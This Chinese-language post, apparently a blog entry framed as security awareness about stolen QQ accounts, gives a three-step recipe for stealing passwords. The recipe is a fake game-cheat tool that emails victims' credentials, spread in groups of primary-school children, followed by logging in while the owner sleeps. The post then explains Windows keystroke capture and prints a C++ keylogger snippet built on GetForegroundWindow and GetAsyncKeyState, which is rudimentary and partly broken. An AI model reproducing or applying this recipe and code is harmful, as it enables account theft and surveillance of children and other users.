你的QQ号又被盗了?关于网络安全你所不知道的事情
不知道大家是否有这样一个经历:
三步钓鱼盗号
1.用编程软件写一个刷钻刷枪刷装备等等的软件,看上去真就行了
2.上传到小学生群。
3.有人使用,账号密码自动发送到邮箱
(以前做过刷枪的很帅,很久没碰了就随便找图来发了)
三步之后你已经拿得了号主的密码,等号主下线睡觉的时候登陆
窃取账号和密码的方式很多,这里就给大家讲解一下最常见的一种
不!你错了,window操作系统本身就出卖了你,我们来看一下下面的一张图
你的键盘在操作系统中就像一个公共场合一样,是公用的,每一个应用程序都可以使用,就像共享单车一样,这个人使用了下一个人继续使用但他都不属于你自己管理的而是属于windows操作系统来管理的,所以我们直接向windows操作系统获取键盘的输入
这是为什么我们来看下面这行代码
HWND window = GetForegroundWindow();
获取当前的窗口,windows提供的函数接口,当用户打开那一个应用程序,我们直接向windows获取键盘按键
GetAsyncKeyState
获取键盘对应的字符编码
下面是简单的代码片段
#include <iostream> #include <Windows.h> #include <string> HWND PerWindow = NULL; int main(void) { char title[256]; while (1) { HWND window = GetForegroundWindow(); //获取当前窗口 if (window != PerWindow) { PerWindow = window; GetWindowText(window, title, 256); printf(" 当前活动窗口为:%s ", title); } for (int key = 0; key <= 9; key++) { if (GetAsyncKeyState(key)&0x8000) { printf("当前键盘输入: %c ", key); while (GetAsyncKeyState(key) & 0x8000) { Sleep(1); } } } } return 0; }